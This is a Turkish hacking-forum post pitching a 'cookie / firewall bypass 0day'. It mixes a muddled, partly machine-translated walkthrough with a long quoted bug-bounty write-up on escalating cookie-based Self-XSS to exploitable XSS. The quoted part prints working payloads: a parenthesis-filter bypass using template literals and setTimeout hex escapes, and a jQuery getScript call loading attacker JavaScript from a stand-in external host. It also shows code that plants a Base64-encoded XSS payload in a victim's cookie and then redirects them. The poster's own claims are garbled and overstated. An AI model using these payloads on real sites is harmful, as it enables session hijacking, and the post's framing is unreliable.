|
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
Çerez / Sunucu güvenlik duvarlarını baypass edelim. " Üst düzey çerez baypass metot" -> 0gün / Hadi Gidelim
|
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
******************************************

|
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
Let's bypass Cookie / Server firewalls. "High level cookie bypass method" -> 0days / Lets go.
|
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
İşlemler:
|
|
1.) F12 Tuşuna bas.
|
2.) console.log(belge.cookie); " Dosyayı ingilizceye kopyala Yapıştır. " ( Açıklama: hihi tht de olmadı değil mi? Bak şimdi. )
|
3.) alert(belge.cookie); " Dosyayı ingilizceye çevir kopyala Yapıştır. " ( Şimdi? denediysen eğer oturum açılmış durumdaysanız == çerez |içerisinde oturum verileriniz de gelecek. Gizliden deneyebilirsiniz. Gizliden yapıldığında sadece aktivasyon verilerini verecek. )
|
4.) Şimdi ise " php içerisinde curl, html, sade javascript kodları" istediğiniz yol ile çalıştırabilrsiniz ancak html kodunda ve php kodunda |göreceksiniz ki site içerisindeki filtrelemeler devreye girecektir. Bu sistemlerde yapılan waf baypass metodunu bilmiyorsanız konuyu |beğenip onun da gelmesini sağlayabilirsiniz.
|
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
İngilizceden çevrilmiştir-HTTP 403, istenen kaynağa erişimin yasak olduğu anlamına gelen bir HTTP durum kodudur. Sunucu isteği |anladı, ancak yerine getirmeyecek.
|
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|Resimli anlatım:
|
|
|
Örnekte görüldüğü üzere sadece sunucunun aktivasyon bilgileri dediğim bilgileri attı bize. Yani sen bu, şu, insan, robot, engellenmiş kişi, |adıyaman konumunda bulunan kişi vb....
|
|
+++++++++++++++++++++
|
|
++++++++++++++++++++++++++++++++++++++
|
|
Şimdi anlamayan değerli insanlar olabilir. Şimdi bilmeyen kişiler ve/veya anlamayanlar için video ekledim" video da bikaç tüyo da var ":
|
< VİDEO >

[|url]https://vimeo.com/520143483[/url]
|
|Eğer anlamadıysanız onun da çözümü var değerli insanlar.
|
|Self-XSS'i Good XSS'e Çevirmek anahtarı ile farklı kaynaklara da bakabilirsiniz.
|
|
Örnek:
|
https://laptrinhx.com/cookie-based-s...ss-3104768763/
|
https://www.netsparker.com.tr/blog/w...ss-e-cevirmek/
|
--------------------------------------------------------
|
|
Şahsen ben ingilizce olanına bakardım. Bu arada hiçbir yerden alınmadı alıntılanmadı sadece ben tek mi keşfetmişim diye aratırıken karşıma çıkan sonuç hüsrana uğratsa da daha fazla içerik ile buluşturdu.
|
|
İçeriğe gitmeye üşenenler için:
|
|
Alıntı:
|
|
Cookie Based Self-XSS to Good XSS
|
|
[IMG]https://cdn-images-1.medium.com/max/1024/1*B83T2b3EVhmk60sxxK2oIg.png[/IMG]
|
|
Geçen ay Synack Red Teams özel hata ödül platformuna kabul edildim ve programlarından birinde yansıyan bir XSS güvenlik açığı |keşfettim. Synack bug ödül programlarının özel doğası nedeniyle, bu yazıda hedeften bahsetmeyeceğim, ancak karşılaştığım bir dizi |farklı sınırlamayı nasıl yendiğimi göstereceğim. DOM olarak da bilinen Belge Nesne Modeli'ne erişimimin olduğunu kanıtlayamadığım için |bulduğum için başlangıçta 272 ABD doları aldım. DOM'a erişemememin nedeni, parantez karakterlerinin filtrelenmesi ve sonuç olarak |aşağıdaki gibi bir yükü yürütemememdi:
|
| Kod:
alert(********.domain)
|
|
Normalde bu JavaScript işlevi, aşağıdaki ekran görüntüsünde gösterilen aşağıdaki yürütme ile sonuçlanır.
|
|
[IMG]https://cdn-images-1.medium.com/max/1024/1*B83T2b3EVhmk60sxxK2oIg.png[/IMG]
|
|
DOM Erişimini gösteren uyarının (********.domain) yürütülmesi
|
|
Kod:
alert`********.domain`
|
|
Parantez karakterleri filtrelendiğinden, işlevimi yürütmek için `karakterleri kullanmak zorunda kaldım. Ne yazık ki, aşağıdaki
|
işlev
|
çalıştırıldığında, aşağıdaki ekran görüntüsünde gösterilen DOM erişiminiz yoktur.
|
|
[IMG]https://cdn-images-1.medium.com/max/1024/1*vmfOs4dfrWSsjsczV62UlQ.png[/IMG]
|
|
Raporu gönderdim ve 272 $ ile ödüllendirildim, ancak DOM erişimini elde edebilirsem bana bir bonus verileceği söylendi, bu yüzden doğal |olarak bu teklifi oldukça eğlenceli bir meydan okumaya dönüştüğümü kabul ettim. Brutelogic (Brute) ile konuştum ve ona bu sınırlamayı |aşmak için herhangi bir teknik bilip bilmediğini sordum ve XSS Cheat Sheet PDF belgesine başvurmamı söyledi. Belgeyi okurken aşağıda |listelenen aşağıdaki yük ile karşılaştım:
|
|
Kod:
setTimeout`alert\x28********.domain\x29`
|
Bu yük, tam olarak ihtiyacım olan şey olan DOM erişimini sağladı. DOM erişimini gösteren yeni yükümü yeniden gönderdim ve önceki
|
ödememe ek olarak 60 ABD doları kazandım. Ancak henüz bitirmedim. Daha önce, hata ödül programı kapsamında olan farklı bir alt etki |alanında bir Self-XSS keşfettim. Bu XSS, Base64 kodlu bir XSS yükünü oturum tanımlama bilgisindeki bir parametreye yerleştirerek |oluştu. Çerez tabanlı XSS ​​güvenlik açıklarından, bir saldırgan çerez değeri ayarlayamadığı sürece yararlanılamaz. Neyse ki, yukarıda |bahsettiğim bir XSS güvenlik açığım zaten vardı. Ancak, bir sınırlamam vardı, o da yükümün çok fazla karakter olamayacağı, aksi takdirde |başarısız olacağıydı. Bu saldırının başarılı bir şekilde çalışması için yürütmem gereken JavaScript'in harici bir JavaScript dosyasından |gömülmesi gerektiğini biliyordum çünkü başarılı bir şekilde çalışmak için çok uzun sürdü. Düzgün çalışması için çok uzun olduğu için, |düzgün bir çerez ayarlamak için yükü içeren harici JavaScript dosyasını da yerleştiremiyordum. Ancak, güvenlik açığı bulunan sayfanın, |başarılı bir şekilde yürütmek için yeterince kısa bir komut dosyası yerleştirmeme izin veren jQuery kullandığını fark ettim. İşte kullandığım |başarılı kod:
|
Kod:
$.getScript`//xss.example.com/xss.js`
|
Şimdi, tek yapmam gereken, savunmasız çerez parametresini Base64 kodlu bir yüke ayarlayacak JavaScript dosyasını barındırmaktı. |Kullandığım kod şuna benziyordu:
|
Kod:
$('html').html('Click the button below to continue.

');
|
function setCookieRedir(){
|
********.cookie =
|
"vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVy dChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
|
window.******** = "https://example.com/vulnerablePage.html";
|
}
|

|
Yukarıda yayınlanan kod, esasen web sayfasını "Devam etmek için aşağıdaki düğmeyi tıklayın" yazan başlık metniyle değiştirir. altında bir |düğme ile. Kurban düğmeyi tıkladığında, securityableCookie değerini aşağıdaki Base64 kodlu dizeye ayarlar:
|
Kod:
LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb2 1haW4pOy8v
|
Base64 kodlu dize, aşağıdaki yükün kodunu çözer ve bu daha sonra savunmasız web sayfasına yansıtılır.
|
Kod:
-->alert(********.domain);//
|
Sonuç olarak, bunun çok ilginç bir güvenlik açığı zinciri olduğunu düşündüm ve süreç boyunca karşılaştığım çeşitli sınırlamalar için |baypas bulmakta çok eğlendim. Sonunda, bu güvenlik açığı zincirini mümkün kılan 272 $ + 60 $ 'a ek olarak bu Self-XSS'yi sömürülebilir |bir XSS'ye dönüştürdüğüm için 616 $ ile ödüllendirildim.
|

-------------------------------------------------------------------------> The End